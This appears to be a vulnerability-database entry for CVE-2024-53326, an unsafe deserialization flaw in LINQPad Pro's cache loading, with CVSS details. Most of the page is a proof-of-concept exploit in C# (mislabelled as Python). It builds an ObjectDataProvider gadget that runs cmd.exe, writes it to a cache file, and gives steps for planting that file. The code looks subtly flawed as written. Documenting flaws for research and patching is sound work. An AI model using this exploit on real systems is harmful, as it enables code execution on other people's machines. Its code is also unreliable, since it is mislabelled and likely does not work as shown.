LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(), leading to code execution.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
LINQPad Pro < 5.52.01
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2024-53326
* Generates a malicious payload exploiting unsafe deserialization.
* Note: The actual exploit requires placing the payload in LINQPad's cache path.
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Windows.Data;
public class Exploit
{
public static void Main(string[] args)
{
// 1. Create the gadget chain: ObjectDataProvider -> ProcessStartInfo
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.ObjectInstance = new ProcessStartInfo("cmd.exe", "/c calc.exe");
// 2. Serialize the object to a binary stream
BinaryFormatter formatter = new BinaryFormatter();
string filePath = "malicious_cache.bin";
using (FileStream stream = new FileStream(filePath, FileMode.Create))
{
formatter.Serialize(stream, odp);
}
Console.WriteLine($"[+] Malicious payload generated at: {Path.GetFullPath(filePath)}");
Console.WriteLine("[+] To exploit: Replace the legitimate LINQPad cache file with this file.");
Console.WriteLine("[+] Trigger the vulnerability by opening LINQPad.");
}
}